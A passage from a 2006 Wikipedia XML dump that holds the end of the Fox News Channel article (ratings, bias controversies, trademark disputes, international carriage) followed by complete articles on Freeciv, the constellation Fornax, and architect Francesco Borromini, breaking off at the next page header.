*[[Newt Gingrich]]
*[[Rich Lowry]]
*[[Scott Bleier]]
*[[Susan Estrich]]
*[[Tobin Smith]]
*[[William Kristol]]

=== Former personalities ===
*[[Dari Alexander]] (now at [[WNYW]])
*[[Rita Cosby]] (now at [[MSNBC]])
*[[Catherine Crier]] (now at [[CourtTV]])
*[[Matt Drudge]]
*[[Jon Du Pre]]
*[[Rick Folbaum]] (now at [[WNYW]])
*[[Kit Hoover]] (now at [[TV Guide Channel]])
*[[Dennis Miller]]
*[[Heather Nauert]] (now at [[ABC News]])
*[[Judith Regan]] former host of weekend late night show, ''Judith Regan Tonight''
*[[Pat Sajak]] ([[game show]] host, had short-lived interview show, ''Pat Sajak Weekend'')
*[[David Shuster]] (now at [[MSNBC]])
*[[Paula Zahn]] (now at [[CNN]])

== Ratings ==
Fox News currently leads the cable news market, earning higher points ratings than its chief competitors CNN and MSNBC combined by average viewership. Measured by unique viewers, however, CNN achieves 11% higher ratings than Fox News. Many commentators attribute this to Fox's somewhat longer duration &quot;talk&quot; programs interspersed with news updates which cause viewers to tune in for longer periods as compared to CNN's generally shorter news segments.  Others claim that Fox News garners more loyal fans than CNN, MSNBC, and others due to being the sole network to appeal to conservatives by openly rejecting the supposed bias of the &quot;mainstream liberal media&quot;.

The [[BBC]] reported that Fox News saw its profits double during the [[2003 invasion of Iraq|Iraq conflict]], due in part to what the report called [[patriotic]] coverage of the war. By some reports, at the height of the conflict they enjoyed as much as a 300% increase in viewership, averaging 3.3 million viewers daily {{ref|numveiw}}.

In 2004, the perceived gain in ratings began to become more apparent. Fox News' coverage of the [[2004 Democratic National Convention|Democratic National Convention]] in [[Boston]] ranked higher than that of its two closest cable competitors combined. In September, Fox News Channel's ratings for its broadcast of the [[2004 Republican National Convention|Republican National Convention]] beat those of all three broadcast networks. During President Bush's address, Fox News notched 7.3 million viewers nationally, while NBC, CBS, and ABC scored ratings of 5.9, 5.0, and 5.1, respectively.

In April 2005, however, CNN sent out a press release stating that Fox's viewership of adults between the ages of 25 and 54 had dropped over a period of six months since the peak of the November 2004 elections (to a total drop of over 58% [http://www.mediabistro.com/tvnewser/ratings/fncs_2554_prime_downward_spiral_20939.asp], [http://www.stateofthemedia.org/2005/narrative_cabletv_contentanalysis.asp?cat=2&amp;media=5]).  Fox still held eight of the ten most-watched nightly cable news shows, with ''The O'Reilly Factor'' and ''Hannity &amp; Colmes'' coming in first and second places, respectively. Since then Fox's ratings have surged. [http://www.mediabistro.com/tvnewser/original/ranker_april05.pdf]

==Controversies and allegations of bias==
{{Main|Fox News Channel controversies and allegations of bias}}
{{seealso|Media bias|Propaganda model|Conservative bias}}
Since its conception, the network has been among one of the most heavily criticised media associations for its supposed conservative political bias. The network, however, prides itself for what it claims is its neutrality in reporting, while most personalities working for Fox News claim it to be the most objective news channel in the United States. Fox News has adopted the slogans &quot;We Report, You Decide&quot; , &quot;[[Fair and Balanced|Fair &amp; Balanced]]&quot; and &quot;Real Journalism&quot;, rejecting all allegations of bias. However, Bill O'Reilly has personally admitted that he believes &quot;FOX does tilt right.&quot; [http://mediamatters.org/items/200407210007] 

Some critics accuse Fox of &quot;dumbing down&quot; its news coverage by blurring the line between news and opinion.[http://cgi.omroep.nl/cgi-bin/streams?/tv/vpro/tegenlicht/bb.20041024.rm?title=Bekijk%20hier%20de%20uitzending%20OUTFOXED]

==Trademark disputes==
[[Image:Keither_olbermann_al_franken_faux_news_t_shirt.jpg|thumb|right|Keith Olbermann and Al Franken discuss Fox News' Trademark Dispute.]] In the late 1990s, as Fox News reached most major cable markets, a handful of observers began to use [[world wide web]] to mock FNC's putative bias, triggering the first publicly aired trademark disputes between Fox News and its critics. In late 2001, [http://www.fauxnewschannel.com Faux News Channel.com] created the &quot;Faux&quot; Fox News logo[http://www.fauxnewschannel.com/logo.html].

In 2003, [[Penguin Books]] published ''Lies and the Lying Liars Who Tell Them: A Fair and Balanced Look at the Right'', by the liberal comedian and writer [[Al Franken]].  The book criticized many conservative individuals and institutions on grounds of inaccuracy; it included Fox News among the media outlets described as biased. Before the book was released, Fox brought a [[lawsuit]], alleging that the book's subtitle violated Fox's [[trademark]] in the promotional phrase &quot;Fair and Balanced&quot;. On that basis, Fox moved for a preliminary [[injunction]] to block the publication of the book. The [[United States District Court]] Judge hearing the case denied the motion, characterizing Fox's claim as &quot;wholly without merit, both factually and legally&quot;. Fox then withdrew the suit. 

In December 2003, the [[Independent Media Institute]] brought a petition before the [[United States Patent and Trademark Office]] seeking the cancellation of Fox's trademark in the phrase &quot;Fair &amp; Balanced&quot; for being deceptively misdescriptive.[http://ttabvue.uspto.gov/ttabvue/v?qt=adv&amp;pno=92042790&amp;qs=&amp;propno=&amp;propnameop=&amp;propname=&amp;pop=&amp;pn=&amp;pop2=&amp;pn2=&amp;cop=&amp;cn=] After losing early procedural motions, the IMI withdrew its petition and the USPTO dismissed the case.[http://ttabvue.uspto.gov/ttabvue/v?pno=92042790&amp;pty=CAN&amp;eno=1]

== International transmission ==
The channel is now available internationally, though its world programming is the same as its American programming, unlike [[CNN International]], which airs regional programming that is largely independent of its U.S. broadcasts.

===United Kingdom ===
Fox News is also carried in the [[United Kingdom]] with global weather forecasts instead of most advertisements, by the [[British Sky Broadcasting]] (BSkyB) satellite television network, in which News Corporation holds a 38 percent stake. It is a sister channel to BSkyB's [[Sky News]], which is more popular in the region. Fox News is usually broadcast as an [[encrypted]] channel but during major news stories it may be broadcast [[Free to air]] on Sky News Active. However Fox News is currently being broadcast Free to air on Sky Digital channel 510 since 1st March 2006, it is unclear whether this is a permanent arrangement.

===Canada===
On [[December 14]], [[2000]], the [[Canadian Radio-television and Telecommunications Commission]] (CRTC) approved '''Fox News Canada''' on behalf of the [[Global Television Network]], for broadcast in [[Canada]]. Fox News Canada was to be a domestic Canadian version of Fox News. [http://www.crtc.gc.ca/archive/ENG/Decisions/2000/DB2000-565.htm] The channel, or ''specialty television service,'' was never implemented by Fox, and the deadline for commencement of the service expired on [[November 24]], [[2004]].  That same day, a similar licence was granted to [[Rogers Communications]] for &quot;MSNBC Canada&quot;, which went to air in September, 2001.  During this period, it was stated by supporters of Fox News that the station was being &quot;banned in Canada,&quot; ignoring its CRTC licence.  The CRTC's previous refusal to grant Fox News an outright license had been contested by some Canadians, as well as American fans of the channel, who believed the decision to be politically motivated. A further outcry occurred when the CRTC allowed the controversial Qatar-based news channel [[Al Jazeera]] to be broadcast on Canadian airwaves while still banning Fox News.

On [[June 18]], [[2003]], the [[Canadian Cable Telecommunications Association]] (CCTA), an organization representing approximately 90 cable companies in Canada, applied to add Fox News, ESPN, HBO, and other non-domestic programming to the CRTC's ''Lists of Eligible Satellite Services'' on a digital basis. In their application the CCTA duly noted that, absent a change in CRTC policy, some of the channels were likely to be ineligible for addition to the lists as some were partially or totally competitive with licensed Canadian programming. Some Canadian channels additionally might hold exclusive rights. In a lengthy response, the CRTC stated that &quot;the Commission considers that CCTA has not raised sufficient question as to the validity of the existing policy, or sufficient argument or evidence as to the benefits of its proposed approach, to warrant a policy review at this time&quot; and noted that &quot;CCTA has not provided the information generally required for the Commission to consider requests to add services to the Lists. Accordingly, the Commission is not in a position to examine whether it would be appropriate to authorize for distribution any of the specific services noted in CCTA’s request&quot; ([http://www.crtc.gc.ca/archive/ENG/Letters/2003/lb031107.htm]).

The CCTA applied on [[April 15]], [[2004]] solely to add Fox News, along with the [[NFL Network]]. [http://www.ccta.com/english/View.asp?t=&amp;x=150&amp;id=331] CCTA's acting president Michael Hennessy said that the previous &quot;bulk approach... ...was just too big&quot;, adding it raised &quot;significant issues&quot; with respect to broadcast rights and competition with existing domestic services ([http://www.friends.ca/News/Friends_News/archives/articles04160401.asp]) On [[November 18]], [[2004]] the CRTC announced that a digital license would be granted to Fox News ([http://www.crtc.gc.ca/archive/ENG/Notices/2004/pb2004-88.htm]). In its proposal, Fox News stated, with reference to Fox News Canada, that &quot;Fox News does not intend to implement this service and therefore will not meet the extended deadline to commence operations&quot; ([http://www.crtc.gc.ca/archive/ENG/Notices/2004/pb2004-45.htm]). On [[December 16]], [[2004]], Rogers Communications became the first Canadian cable or satellite provider to broadcast Fox News, with other companies following suit within the next several days.

===Australia===
In [[Australia]] Fox News Channel is broadcast on the three major Pay-TV providers, [[Austar]], [[Optus Television]]  and [[Foxtel]]. Foxtel is 25% owned by News Corporation. The Australian syndication previously featured some local programming, including a [[John Laws]] current affairs programme in place of &quot;Fox &amp; Friends&quot;.  Currently, it is a direct feed of the US broadcast.

===Brazil===
Since [[2002]] Fox News has been broadcast to [[Brazil]], but the commercials are replaced with weather forecasts (except for their own ads). It is broadcast by [[Sky Brazil]] (satellite operator, a joint-venture between [[News Corporation]] and [[Globopar]]) and in the digital packages of [[Net Serviços de Comunicação S/A|NET]] (cable television operator, a joint-venture between [[Telmex]] and [[Globopar]]).

===New Zealand===
In [[New Zealand]], Fox News is broadcast on the [[Prime Television (New Zealand)|Prime]] terrestrial network's nightime period. Because of the late time zones in the U.S., Fox News only gets to broadcast their late night programming, notably &quot;Fox and Friends.&quot; Local advertisements and weather maps replace U.S. advertising. The weather map temperatures are, of course, presented in degrees Celsius.

===Other countries===
Fox News Channel is also carried in more than 40 countries including [[Argentina]], [[Bahamas]], [[Barbados]], [[Belize]], [[Bermuda]], [[Cambodia]], [[Cayman]], [[Chile]], [[Colombia]], [[Costa Rica]], [[Denmark]], [[Dominican Republic]], [[Finland]], [[Grenada]], [[Germany]], [[Guam]], [[Guatemala]], [[Hong Kong]], [[Iceland]], [[Indonesia]], [[Israel]], [[Italy]], [[Jamaica]], [[Kazakhstan]], [[Kyrgyz Republic]], [[Macau]], [[Malaysia]], [[Maldives]], [[Mexico]], the [[Netherlands]], [[Nigeria]], [[Norway]], [[Pakistan]], [[Palau]], [[Panama]], [[Peru]], [[Papua New Guinea]], [[Philippines]], [[Russia]], [[Singapore]], [[Saint Kitts]], [[Saint Lucia]], [[Spain]], [[Sweden]], [[Thailand]], [[Trinidad and Tobago]], and [[Venezuela]]. (Service to [[Japan]] stopped in the summer of [[2003]] it can be seen at Americable (Distributor for American Bases http://americablejapan.com, Mediatti (Kadena Air Base)  http://www.mccokinawa.com/cable and Muracam TV  http://www.muracam-tv.com.)

==References==
# {{note|ruplib}} {{cite web
 | url = http://www.newyorker.com/online/content/articles/030526on_onlineonly01
 | title = &quot;Broadcast News&quot;
 | publisher = [[The New Yorker]]
 | accessdate = November 29
 | accessyear = 2005
 }}
# {{note|numview}} {{cite web
 | url = http://news.bbc.co.uk/1/hi/business/3148015.stm
 | title = &quot;War coverage lifts News Corp&quot;
 | publisher = [[The British Broadcasting Corporation]]
 | accessdate = November 29
 | accessyear = 2005
 }}
# {{cite book
 | first = Scott
 | last = Collins
 | title = Crazy Like a Fox: The Inside Story of How Fox News Beat CNN
 | id = ISBN 1591840295
 }}

== External links ==
*[http://www.foxnews.com Official Site] 
*[http://www.newscorp.com/ News Corporation] - Fox's parent company.
*[http://www.museum.tv/archives/etv/A/htmlA/ailesroger/ailesroger.htm Museum of Broadcast Communications: Ailes, Roger]
*[http://www.newshounds.us/ ''News Hounds''] - Watchdog blog critical of Fox News Channel.
*[http://www.outfoxed.org/ ''Outfoxed: Rupert Murdoch's War on Journalism''] - The critical documentary's website.
*[http://cgi.omroep.nl/cgi-bin/streams?/tv/vpro/tegenlicht/bb.20041024.rm?title=Bekijk%20hier%20de%20uitzending%20OUTFOXED Outfoxed] streaming [[Dutch language|Dutch]] VPRO [http://www.vpro.nl/programma/tegenlicht/afleveringen/19365659/ documentary] by [http://www.vpro.nl/programma/tegenlicht/service_info/19361409/ Tegenlicht]. Introduction, several seconds, in Dutch with story itself in English and Dutch [[subtitles]]; 50 min. Broadband internet needed. 
*[http://www.guardian.co.uk/usa/story/0,12271,1319955,00.html Guardian Unlimited special report: Fox - the naked truth], October 5, 2004, Zoe Williams, [[The Guardian]]
*[http://rawstory.com/news/2006/Fox_executives_donate_generously_to_Santorum_0228.html Fox executives funnel cash to Santorum, GOP]
*[http://www.cbc.ca/fifth/sticksandstones.html The Fifth Estate: Sticks and Stones], [[CBC]] - Bob McKeown investigates Fox News for The Canadian Broadcasting Corporation, 45 min.
*[http://www.fauxnewschannel.com/ &quot;The Most Powerful Smell in News&quot;] - Origin of the &quot;Faux News&quot; logo.

{{News Corporation}}

[[Category:1996 establishments]]
[[Category:Foreign television channels broadcasting in the United Kingdom]]
[[Category:Fox News Channel| ]]

[[ang:Fox News]]
[[de:Fox News Channel]]
[[eo:Fox News]]
[[fr:Fox News Channel]]
[[ja:FOXニュース]]
[[nl:Fox News Channel]]</text>
    </revision>
  </page>
  <page>
    <title>Freeciv</title>
    <id>11122</id>
    <revision>
      <id>41916173</id>
      <timestamp>2006-03-02T16:24:24Z</timestamp>
      <contributor>
        <username>Csabo</username>
        <id>119695</id>
      </contributor>
      <minor />
      <comment>/* Description */ fixed Solaris link</comment>
      <text xml:space="preserve">{{Infobox CVG| title = Freeciv
|image = [[Image:Freeciv Client.png|Freeciv icon]]
|developer = The [[Freeciv]] developers
|publisher = The [[Freeciv]] project
|designer = 
|engine = 
|released = [[November 5|Nov 5]], [[2005]] (2.0.7)
|genre = [[turn-based game|Turn-based]] [[strategy computer game|strategy]]
|modes = [[Multiplayer]], [[single player]]
|ratings = 
|platforms = [[Linux]], [[Mac OS X]], [[Microsoft Windows|Windows]]
|media = [[Download]] only
|requirements = 
|input = [[Computer keyboard|Keyboard]], [[mouse]]
}}
[[Image:Freeciv-cvs-sep-27.png|thumb|right|256px|''Freeciv'' CVS snapshot from September 27, 2005, with the new Amplio tileset.]]
'''Freeciv''' is a multiplayer, [[turn-based game|turn-based]] [[strategy computer game]], inspired by [[Sid Meier]]'s commercial ''[[Civilization video game|Civilization]]'' series. It is [[free software]] under the [[GNU General Public License]] and developed collaboratively&amp;mdash;[[source code|code]], graphics, sounds etc. have been contributed by many people from around the world. Its latest version is 2.0.7.  ''Freeciv'' is included with many popular [[Linux]] distributions.

==Description==
Players take the role of a tribe leader in 4000 BC and have to guide their people through the centuries. Over time, new technologies are discovered, which allow the construction of new city buildings and the deployment of new units. Players can wage war on one another or form complex diplomatic relationships.

The game ends when one civilization has eradicated all others, when one people has accomplished the goal of space colonization, or at a certain deadline. If more than one civilization remains at the deadline, the player with the highest score wins. Points are awarded for the size of a civilization, its wealth, and cultural and scientific advances.

''Freeciv'' is quite configurable, so it can be played in ''[[Civilization I]]'', ''[[Civilization II]]'', ''Freeciv'' mode, or in a custom mode. Graphics and sounds can be replaced; there are [[Isometric projection|isometric]], [[Dimension|two-dimensional]] and hex graphics packages (tilesets).

''Freeciv'' uses [[Internet protocol suite|TCP/IP]] networking. Players have to connect to a [[server]], which can be run locally but is usually remote. Freeciv can be played solo against [[Artificial intelligence|AI]] opponents, or as a multiplayer game against other humans. Playing solo is done as a special case of multiplayer where only one human player connects to a locally run server; Freeciv 2.0 can automatically set up a server for solo games.

One or several players act as game administrator and can configure the game rules. Typically modified rules are:

* Number of players required before the game can be started
* Speed of technological development
* Whether there should be computer controlled players
* Whether (computer controlled) [[barbarian]]s should invade player settlements
* How close to one another cities can be built
* How continents and islands are supposed to be distributed over the map

While the game is turn based, players move simultaneously. Computer players move separately.

In releases before the 2.0.0 release, AI players could not engage in diplomatic relationships with human players. Under the current release, AI players will engage in a very deterministic (not random) diplomacy. 

''Freeciv'' has a map and scenario editor called ''Civworld'' available as a separate download.

''Freeciv'' runs on [[Unix]] variants with the [[X Window System]] and some other platforms, including [[Microsoft Windows]], [[Amiga]], and [[Apple Macintosh]].  Freeciv can be considered somewhat of a &quot;low-end&quot; game: it does not have very spectacular graphics or visual effects, but on the other hand, in the course of its existence has had excellent [[portability]] and very low requirements on systems resources.  Originally developed on [[SGI]] [[IRIX]], Freeciv has been reported to run on at least [[SunOS|SunOS 4]], [[Solaris_Operating_Environment|Solaris]], [[Ultrix]], [[QNX]], [[Linux]], [[FreeBSD]], [[OpenBSD]], [[NetBSD]], [[Mac OS X]], [[OS/2]], [[Windows 95]], [[Windows 98]], [[Cygwin]], [[Windows 2000]], [[Windows XP]], [[Amiga]], and possibly more [[operating system]]s; its multiplayer mode was designed to be playable over standard modem lines.

== External links ==
{{Commons|Freeciv|Freeciv}}
{{wikibookspar||Civilization}} 
* [http://www.freeciv.org Freeciv homepage]
* [http://www.freeciv.de.ms Freeciv Fan-Site]
* [http://www.freeciv.org/index.php/Download Freeciv downloads]
* [http://old.freeciv.org/manual Freeciv manual]
* [http://www.freeciv.org/index.php/Special:People Freeciv contributors]
* [http://meta.freeciv.org/metaserver/freeciv.html Public Freeciv server list]
* [http://www.freeciv.org/index.php/Talk Freeciv mailinglists]
* [http://www.freeciv.org/index.php/Talk Freeciv IRC channel]
* [http://old.freeciv.org/civworld/ Civworld homepage]
* [http://forum.freeciv.org Freeciv.org forum]
* [http://www.apolyton.net/forums/forumdisplay.php?forumid=111 Apolyton forum]

{{civilization}}


[[Category: 1998 computer and video games]]
[[Category:Linux games]]
[[Category:Apple Macintosh games]]
[[Category: Windows games]]
[[Category:Civilization franchise]]
[[Category:Open source games]]
[[Category:Fanmade computer game remakes and sequels]]

[[cs:Freeciv]]
[[de:Freeciv]] 
[[ja:Freeciv]]
[[nl:Freeciv]]
[[pl:Freeciv]]
[[pt:Freeciv]]
[[it:Freeciv]]
[[fi:Freeciv]]
[[fr:Freeciv]] 
[[zh:Freeciv]]
[[sv:Freeciv]]</text>
    </revision>
  </page>
  <page>
    <title>Fornax</title>
    <id>11123</id>
    <revision>
      <id>39495611</id>
      <timestamp>2006-02-13T22:35:53Z</timestamp>
      <contributor>
        <username>Rory096</username>
        <id>750223</id>
      </contributor>
      <comment>link</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Fornax |
abbreviation = For |
genitive = Fornacis |
symbology = the furnace |
RA = 3 |
dec= -30 |
areatotal = 398 |
arearank = 41st |
numberstars = None |
starname = &amp;alpha; For |
starmagnitude = 3.87 |
meteorshowers = None |
bordering =
*[[Cetus]]
*[[Sculptor (constellation)|Sculptor]]
*[[Phoenix (constellation)|Phoenix]]
*[[Eridanus (constellation)|Eridanus]] |
latmax = 50 |
latmin = 90 |
month = December |
notes=}}
'''Fornax''' ([[Latin]] for ''[[furnace]]'') is a southern [[constellation]] which was first introduced by [[Nicolas Louis de Lacaille]] under the name ''Fornax Chemica'' (Latin for ''[[chemical]] furnace'').  The [[Fornax Dwarf|Fornax Dwarf galaxy]] lies in Fornax.

The [[Hubble Ultra Deep Field]] is located within the constellation.

At a meeting of the Royal Astronomical Society in Britain, a team from University of Queensland described 40 unknown &quot;dwarf&quot; galaxies in this constellation.

They also described Fornax as being &quot;on Earth's doorstep&quot;.

Follow-up observations with the Hubble Space Telescope and the European Southern Observatory's [[Very Large Telescope]] revealed that Ultra Compact Dwarfs are much smaller than previously known dwarf galaxies, about 120 light years across.

&quot;Tens of millions of stars are squashed into what is a tiny volume by galaxy standards,&quot; the observatory said in a statement.  	

The [[Fornax cluster|Fornax galaxy cluster]] lies primarily in the constellation Fornax.
==Mythology==
Fornax, in [[Roman mythology]], was the goddess of bread and baking, although this has nothing to do with the constellation (''fornax'' is just the Roman word for ''furnace''), as the constellation was created in 1763.
===See also===
* [[Fornacalia]]

==Stars==
:Stars with proper names:
:* '''''[[Alpha Fornacis|Fornacis]]''''' (&amp;alpha; For) 3.80
:Stars with Bayer designations:
:: [[Beta Fornacis|&amp;beta; For]] 4.45; [[Gamma1 Fornacis|&amp;gamma;&lt;sup&gt;1&lt;/sup&gt; For]] 6.14; [[Gamma2 Fornacis|&amp;gamma;&lt;sup&gt;2&lt;/sup&gt; For]] 5.39; [[Delta Fornacis|&amp;delta; For]] 4.99; [[Epsilon Fornacis|&amp;epsilon; For]] 5.88; [[Zeta Fornacis|&amp;zeta; For]] 5.69; [[Eta1 Fornacis|&amp;eta;&lt;sup&gt;1&lt;/sup&gt; For]] 6.51; [[Eta2 Fornacis|&amp;eta;&lt;sup&gt;2&lt;/sup&gt; For]] 5.92; [[Eta3 Fornacis|&amp;eta;&lt;sup&gt;3&lt;/sup&gt; For]] 5.48; [[Iota1 Fornacis|&amp;iota;&lt;sup&gt;1&lt;/sup&gt; For]] 5.74; [[Iota2 Fornacis|&amp;iota;&lt;sup&gt;2&lt;/sup&gt; For]] 5.84; [[Kappa Fornacis|&amp;kappa; For]] 5.19; [[Lambda1 Fornacis|&amp;lambda;&lt;sup&gt;1&lt;/sup&gt; For]] 5.91; [[Lambda2 Fornacis|&amp;lambda;&lt;sup&gt;2&lt;/sup&gt; For]] 5.78; [[Mu Fornacis|&amp;mu; For]] 5.27; [[Nu Fornacis|&amp;nu; For]] 4.68; [[Pi Fornacis|&amp;pi; For]] 5.34; [[Rho Fornacis|&amp;rho; For]] 5.52; [[Sigma Fornacis|&amp;sigma; For]] 5.91; [[Tau Fornacis|&amp;tau; For]] 6.01; [[Chi1 Fornacis|&amp;chi;&lt;sup&gt;1&lt;/sup&gt; For]] 6.39; [[Chi2 Fornacis|&amp;chi;&lt;sup&gt;2&lt;/sup&gt; For]] 5.71; [[Chi3 Fornacis|&amp;chi;&lt;sup&gt;3&lt;/sup&gt; For]] 6.49; [[Phi Fornacis|&amp;phi; For]] 5.13; [[Psi Fornacis|&amp;psi; For]] 5.93; [[Omega Fornacis|&amp;omega; For]] 4.96
{{astro-stub}}
{{ConstellationsByLacaille}}
{{ConstellationList}}

== External links ==
{{Commons|Fornax}}

[[Category:Fornax constellation| ]]

[[ca:Forn (constel·lació)]]
[[cs:Pec (souhvězdí)]]
[[da:Kemiske Ovn]]
[[de:Chemischer Ofen]]
[[es:Fornax]]
[[fr:Fourneau (constellation)]]
[[ko:화로자리]]
[[it:Fornax]]
[[la:Fornax (sidus)]]
[[lt:Krosnis (astronomija)]]
[[hu:Kemence (csillagkép)]]
[[nl:Oven (sterrenbeeld)]]
[[ja:ろ座]]
[[nn:Smelteomnen]]
[[pl:Piec (gwiazdozbiór)]]
[[pt:Fornax]]
[[ru:Печь (созвездие)]]
[[sk:Súhvezdie Pec]]
[[fi:Sulatusuuni]]
[[sv:Ugnen]]
[[th:กลุ่มดาวเตาหลอม]]
[[zh:天炉座]]</text>
    </revision>
  </page>
  <page>
    <title>Francesco Borromini</title>
    <id>11125</id>
    <revision>
      <id>41547035</id>
      <timestamp>2006-02-28T01:56:43Z</timestamp>
      <contributor>
        <ip>155.33.85.84</ip>
      </contributor>
      <text xml:space="preserve">'''Francesco Borromini''' ([[Bissone]] near [[Lugano]], [[Switzerland]], [[September 25]] [[1599]] &amp;ndash; [[August 3]] [[1667]] in [[Rome]]) was a prominent and influential [[Baroque]] [[architect]], and active in Rome and contemporary with the prolific papal architect and often rival, [[Gian Lorenzo Bernini]].

[[Image:Borromini.jpg|thumb|left|Borromini (anonymous youth portrait)]]

==Early Life and First Works=
Son of stone mason Giovanni Domenico Castelli, Borromini began his career as a stone mason himself, and soon moved to [[Milan]] to study and practice this activity. He was also called &quot;Bissone&quot;, by the place in which he was born. When in [[Rome]] ([[1619]]) he changed his name (from Castelli to Borromini) and started working for [[Carlo Maderno]], his distant relative, at [[St. Peter's Basilica|St. Peter's]]. When Maderno died in 1629, he joined the group under [[Gian Lorenzo Bernini]], completing the facade and expansions of Maderno's [[Palazzo Barberini]]. 

==Independent Works==
In [[1634]], his first individual commission was the reconstruction of the [[church]] of ''[[San Carlo alle Quattro Fontane]]'' (also called San Carlino). The church is named after ''San Carlo Borromeo'', and may have prompted his name change. The small church is master conceit of Roman baroque. He avoids linear classicism and eschews a simple circular shape in favor of a corrugated oval. The church is small, complex convex-concave rhythms that disrupt the oval of the nave[http://www.usc.edu/schools/annenberg/asc/projects/comm544/library/images/040.html]; he &quot;designed the walls to weave in and out as if they were formed not of stone but of pliant substance set in motion by an energetic space, carrying with them the deep entablatures, the cornices, moldings and pediments.&quot; (Marvin Trachtenberg and Isabelle Hyman. Architecture: from Prehistory to Post-Modernism. p346-7 as quoted in [http://www.greatbuildings.com/buildings/S_Carlo_Alle_Quattro_Fonta.html]. It is far bolder in geometric intricacy and less encrusted with figurative decorations than [[Bernini]]'s [[Sant'Andrea al Quirinale]], which lies just down the street. That latter church has a sculptural drama embedded into the architecture, as a form of ''bel composto''. In ''San Carlino'', the drama is geometric. The undulating elements in the façade (completed late in his life), are also masterful [http://web.comhem.se/~u13117202/scarlino.htm].

For ''[[Sant'Agnese in Agone]]'', he reverted the original plan of [[Girolamo Rainaldi]] (and his son [[Carlo Rainaldi]]), which previously had its main entrance on Via di Santa Maria dell'Anima. The façade was expanded to include parts of the bordering Pamphilij palace, gaining space for the two bell towers (each of which has a clock, as in St. Peter's, one for Roman time, the other for ''tempo ultramontano'', European time).

Borromini lost this commission before completion due to the death of the [[Pope Innocent X]] in 1655. The new Pope, [[Pope Alexander VII|Alexander VII]], and Prince Camillo Pamphilj recalled Rainaldi, but this one didn't change very much and the church is mainly considered a notable expression of Borromini's concepts. 

[[Image:Borromini SantIvo.jpg|thumb|''Sant'Ivo alla Sapienza'', courtyard and façade.]]

From 1640-1650, he worked on the design of the church of [[Sant'Ivo alla Sapienza]] and its courtyard, near [[University of Rome La Sapienza]] palace. The site, like many in cramped Rome, is challenged for external perspectives. The dome and cochlear steeple are peculiar, and reflect the idiosyncratic architectural motifs that distinguish Borromini from contemporaries. Inside, the nave has an unusual centralized plan circled by alternating concave and convex cornices, leading to a dome decorated with linear arrays of stars and putti. The fusion of feverish baroque excesses with a rationalistic geometry is an excellent match for a church in a papal institution of higher learning. He is purported to be a strong influence on the Turin architect, [[Camillo-Guarino Guarini]].

==Death and Epitaph==
In the summer of [[1667]], Borromini, suffering from nervous disorders and depression, committed suicide after the completion of the Falconieri chapel (the main chapel) in [[San Giovanni dei Fiorentini]], where he was buried [http://web.comhem.se/~u13117202/suicide.htm|(account)].  
The primary inscription on Borromini's tomb, in San Giovanni dei Fiorentini, reads:

&lt;small&gt;
FRANCISCVS BORROMINI TICINENSIS&lt;br/&gt;
EQVES CHRISTI&lt;br/&gt;
QVI&lt;br/&gt;
IMPERITVRAE MEMORIAE ARCHITECTVS&lt;br/&gt;
DIVINAM ARTIS SVAE VIM&lt;br/&gt;
AD ROMAM MAGNIFICIS AEDIFICIIS EXORNANDAM VERTIT&lt;br/&gt;
IN QVIBUS&lt;br/&gt;
ORATORIVM PHILLIPINVM S. IVO S. AGNES IN AGONE&lt;br/&gt;
INSTAVRATA LATERANENSIS ARCHIBASILICA&lt;br/&gt;
S. ANDREAS DELLE FRATTE NVNCVPATUM&lt;br/&gt;
S. CAROLVS IN QVIRINALI&lt;br/&gt;
AEDES DE PROPADANDA FIDE&lt;br/&gt;
HOC AVTEM IPSVM TEMPLVM&lt;br/&gt;
ARA MAXIMA DECORAVIT&lt;br/&gt;
NON LONGE AB HOC LAPIDE&lt;br/&gt;
PROPE MORTALES CAROLI MADERNI EXUVVIAS&lt;br/&gt;
PROPINQVI MVNICIPIS ET AEMVLI SVI&lt;br/&gt;
IN PACE DOMINI QVIESCIT&lt;br/&gt;
&lt;/small&gt;

Francesco Borromini was featured on the 100 Swiss Franc banknote current in the 1980s.
-----

==Anthology of Works==
Borromini's works include:
[[Image:Roman architecture.jpg|thumb|Façade of ''[[San Carlo alle Quattro Fontane]]''.]]
[[Image:Spada.jpg|thumb|Palazzo Spada, architectural [[trompe-l'oeil]]]]
* ''[[San Carlo alle Quattro Fontane]]'' (nave, dome, and convent)
* ''[[Sant'Agnese in Agone]]''
* ''[[Sant'Ivo alla Sapienza]]''
* ''[[Basilica di San Giovanni in Laterano]]''
* ''Cappella Spada'', San Girolamo della Carità (uncertain attribution) 
* ''[[Palazzo Spada]]'' (trick perspective)
* ''[[Palazzo Barberini]]'' (upper-level windows and oval staircase)
* ''Santi Apostoli'' in Naples - Filamarino Altar
* ''[[Sant'Andrea delle Fratte]]''
* ''Oratorio dei Filippini''
* ''[[Congregatio de Propaganda Fide|Collegio de Propaganda Fide]]'' [http://www.romeartlover.it/Vasi164a.htm]
* ''Santa Maria dei Sette Dolori'' 
* ''San Giovanni in Oleo'' (restoration)
* ''Palazzo Giustiniani'' (with [[Carlo Fontana]])
* ''Palazzo Falconieri''
* ''[[Santa Lucia in Selci]]'' (restoration)
* ''[[Saint Peter's Basilica]]'' (gates to Blessed Sacrament Chapel and possibly parts of the baldacchino)

==External links==
*[http://www.columbia.edu/~jc65/opus/opus.int.htm Columbia University: Joseph Connors, ''Francesco Borromini: Opus Architectonicum,'' Milan, 1998]: Introduction to Borromini's own description of the Casa dei Filippini   
*[http://w1.131.comhem.se/~u13117202/suicide.htm Borromini's own (!) account of his suicide]

[[Category:Italian architects|Borromini, Francesco]]
[[Category:Swiss architects|Borromini, Francesco]]
[[Category:Baroque architects|Borromini, Francesco]]
[[Category:Natives of Ticino|Borromini, Francesco]]
[[Category:Suicides|Borromini, Francesco]]
[[Category:1599 births|Borromini, Francesco]]
[[Category:1667 deaths|Borromini, Francesco]]

[[cs:Francesco Borromini]]
[[de:Francesco Borromini]]
[[es:Francesco Borromini]]
[[fr:Francesco Borromini]]
[[hr:Francesco Borromini]]
[[it:Francesco Borromini]]
[[nl:Francesco Borromini]]
[[ja:フランチェスコ・ボッロミーニ]]
[[sv:Francesco Borromini]]</text>
    </revision>
  </page>
  <page>
    <title>Freedom fighter</title>
    <id>11126</id>
    <revision>
      <id>41783235</id>
      <timestamp>2006-03-01T18:47:16Z</timestamp>
      <contributor>
        <ip>66.240.35.170</ip>
      </contributor>
